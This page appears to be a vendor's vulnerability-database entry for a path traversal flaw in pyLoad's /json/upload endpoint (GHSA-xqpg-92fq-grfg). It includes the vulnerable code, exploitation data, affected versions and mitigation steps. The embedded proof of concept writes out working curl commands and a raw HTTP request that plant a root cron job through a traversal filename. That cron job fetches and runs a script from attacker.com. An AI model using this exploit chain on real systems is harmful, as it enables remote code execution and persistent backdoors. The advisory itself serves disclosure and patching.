NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File WriteGHSA-xqpg-92fq-grfg

HIGHFix: pyload/pyload@fc4b136

GHSA-xqpg-92fq-grfg is a high-severity (CVSS 7.5) Path Traversal vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.

Also known asCVE-2025-54140PYSEC-2026-1823
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xqpg-92fq-grfg.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk+0.10%
Lower risk than most CVEs55th percentile — riskier than 55% of all scored CVEsHighest risk
0.09%0.74%1.40%2.06%0.6%0.8%May 26Aug 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:

  • Remote Code Execution (RCE)
  • Local Privilege Escalation
  • System-wide compromise
  • Persistence and backdoors

Vulnerable Code

File: src/pyload/webui/app/blueprints/json_blueprint.py

@json_blueprint.route("/upload", methods=["POST"])
def upload():
    dir_path = api.get_config_value("general", "storage_folder")
    for file in request.files.getlist("file"):
        file_path = os.path.join(dir_path, "tmp_" + file.filename)  
        file.save(file_path) 

Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.

(Proof of Concept)

  1. Clone and install pyLoad from source (pip install pyload-ng):
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
  1. Or install via pip (PyPi) in virtualenv:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
  1. Login and obtain session token
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
  -d "username=admin&password=admin"
  1. Create malicious cron payload
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit
  1. Upload file with path traversal filename
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
  -F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"
  1. On the next cron tick, a reverse shell or payload will be triggered.

BurpSuite HTTP Request

POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e

--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream

*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ng≥ 0.5.0b3.dev89&&< 0.5.0b3.dev900.5.0b3.dev90pip install --upgrade 'pyload-ng==0.5.0b3.dev90'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyload-ng to 0.5.0b3.dev90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xqpg-92fq-grfg is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary An **authenticated path traversal vulnerability** exists in the `/json/upload` endpoint of the `pyLoad` By **manipulating the filename of an uploaded file**, an attacker can traverse out of the intended upload directory, allowing them to **write arbitrary files to any location** on the system accessible to the pyLoad process. This may lead to: * **Remote Code Execution (RCE)** * **Local Privilege Escalation** * **System-wide compromise** * **Persistence and backdoors** --- ### Vulnerable Code File: [`src/pyload/webui/app/blueprints/json_blueprint.py`](https://github.com/pyload/p
O3 Security · Impact-Aware SCA

Is GHSA-xqpg-92fq-grfg in your dependencies?

Find it across PyPI, including transitive dependencies.

`pyLoad` has Path Traversal Vulnerability in `json/upload`…